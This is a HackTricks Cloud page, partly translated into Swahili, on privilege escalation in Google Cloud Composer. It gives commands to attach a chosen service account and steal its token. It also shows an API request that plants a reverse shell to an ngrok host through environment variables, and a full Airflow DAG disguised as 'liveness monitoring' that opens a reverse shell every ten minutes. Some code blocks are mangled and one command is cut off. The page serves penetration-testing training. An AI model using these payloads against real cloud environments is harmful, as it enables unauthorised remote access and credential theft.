GCP - Composer Privesc
Tip
Jifunze na ufanye mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na ufanye mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na ufanye mazoezi ya Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Saidia HackTricks
- Angalia the subscription plans!
- Jiunge na đŹ Discord group au the telegram group au utufuate kwenye Twitter đŚ @hacktricks_live.
- Shiriki hacking tricks kwa kutuma PRs kwa HackTricks and HackTricks Cloud github repos.
composer
Taarifa zaidi:
composer.environments.create
Inawezekana kuambatanisha service account yoyote kwa environment mpya ya composer inayoundwa kwa ruhusa hiyo. Baadaye unaweza execute code ndani ya composer ili kuiba service account token.
Tengeneza environment ya Composer na service account imeambatishwa
```bash gcloud composer environments create privesc-test \ --project "${PROJECT_ID}" \ --location europe-west1 \ --service-account="${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" ```Maelezo zaidi kuhusu exploitation here.
composer.environments.update
Inawezekana kusasisha Composer environment, kwa mfano, kubadilisha env variables:
Sasisha Composer environment variables kwa ajili ya code execution
```bash # Even if it says you don't have enough permissions the update happens gcloud composer environments update \ projects/Call the API endpoint directly
PATCH /v1/projects/
{âconfigâ: {âsoftwareConfigâ: {âenvVariablesâ: {âBROWSERâ: â/bin/bash -c âbash -i >& /dev/tcp/2.tcp.eu.ngrok.io/1890 0>&1â & #%sâ, âPYTHONWARNINGSâ: âall:0:antigravity.x:0:0â}}}}
</details>
TODO: Pata RCE kwa kuongeza pypi packages mpya kwenye mazingira
### Pakua DAGs
Angalia source code ya DAGs zinazotekelezwa:
<details><summary>Hamisha na pakua DAGs kutoka mazingira ya Composer</summary>
```bash
mkdir /tmp/dags
gcloud composer environments storage dags export --environment <environment> --location <loc> --destination /tmp/dags
Ingiza Dags
Weka msimbo wa python DAG ndani ya faili, kisha uliingize kwa kuendesha:
Ingiza DAG hasidi katika mazingira ya Composer
```bash # TODO: Create dag to get a rev shell gcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/dags/reverse_shell.py ```Reverse shell DAG:
Python DAG code for reverse shell
```python import airflow from airflow import DAG from airflow.operators.bash_operator import BashOperator from datetime import timedeltadefault_args = { âstart_dateâ: airflow.utils.dates.days_ago(0), âretriesâ: 1, âretry_delayâ: timedelta(minutes=5) }
dag = DAG( âreverse_shellâ, default_args=default_args, description=âliveness monitoring dagâ, schedule_interval=â*/10 * * * *â, max_active_runs=1, catchup=False, dagrun_timeout=timedelta(minutes=10), )
priority_weight has type int in Airflow DB, uses the maximum.
t1 = BashOperator( task_id=âbash_revâ, bash_command=âbash -i >& /dev/tcp/0.tcp.eu.ngrok.io/14382 0>&1â, dag=dag, depends_on_past=False, priority_weight=2**31 - 1, do_xcom_push=False)
</details>
### Write Access to the Composer bucket
Vipengele vyote vya mazingira ya Composer (DAGs, plugins and data) vinahifadhiwa ndani ya GCP bucket. Ikiwa mshambuliaji ana ruhusa za kusoma na kuandika juu yake, anaweza kufuatilia bucket na **kila wakati DAG inapotengenezwa au kusasishwa, kuwasilisha backdoored version** ili mazingira ya Composer yapokee kutoka storage toleo hilo la backdoored.
Get more info about this attack in:
<a class="content_ref" href="gcp-storage-privesc.md"><span class="content_ref_label">GCP - Storage Privesc</span></a>
### Kuingiza plugins
TODO: Angalia ni nini kinaweza kuathiriwa kwa kupakia plugins
### Kuingiza data
TODO: Angalia ni nini kinaweza kuathiriwa kwa kupakia data
> [!TIP]
> Jifunze na ufanye mazoezi ya AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Jifunze na ufanye mazoezi ya GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Jifunze na ufanye mazoezi ya Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Saidia HackTricks</summary>
>
> - Angalia the [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Jiunge na** đŹ [**Discord group**](https://discord.gg/hRep4RUj7f) au the [**telegram group**](https://t.me/peass) au **utufuate** kwenye **Twitter** đŚ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Shiriki hacking tricks kwa kutuma PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>
HackTricks Cloud

